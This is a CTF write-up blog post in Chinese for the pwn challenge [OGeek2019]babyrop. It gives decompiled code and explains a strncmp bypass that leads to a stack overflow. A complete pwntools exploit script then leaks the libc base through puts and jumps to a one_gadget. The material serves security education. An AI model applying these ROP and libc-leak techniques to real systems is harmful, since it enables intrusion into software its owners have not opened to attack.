[OGeek2019]babyrop

题目链接:[OGeek2019]babyrop

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

部分函数如下。

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}
ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

解题思路:

  1. 第一次输入时,首先输入 \xFF 字符绕过 strncmp 函数的比较。
  2. 通过输入 \xFF 字符来控制 read 函数的读取字符数量,从而触发栈溢出。
  3. 控制程序执行流,调用 puts 函数泄露 LIBC 基址。
  4. 调用 One_GadGet。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:080485A0                 public start
    s(b"\x00" + b"\xFF" * 0x1F)
    s((0xFFFFCDEC - 0xFFFFCD01) * b'a' + \
      p32(ELF_FILE.plt['puts']) + p32(0x080485A0) + p32(ELF_FILE.got['read']))
    LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['read']
    leak("LIBC_ADDR", LIBC_ADDR)

    s(b"\x00" + b"\xFF" * 0x1F)
    # 调用 One_GadGet
    s((0xFFFFCDEC - 0xFFFFCD01) * b'a' + \
      p32(LIBC_ADDR + 0x3a80c))
    irt()

pwn()
posted @ 2025-09-06 13:08  imtaieee  阅读(23)  评论(0)    收藏  举报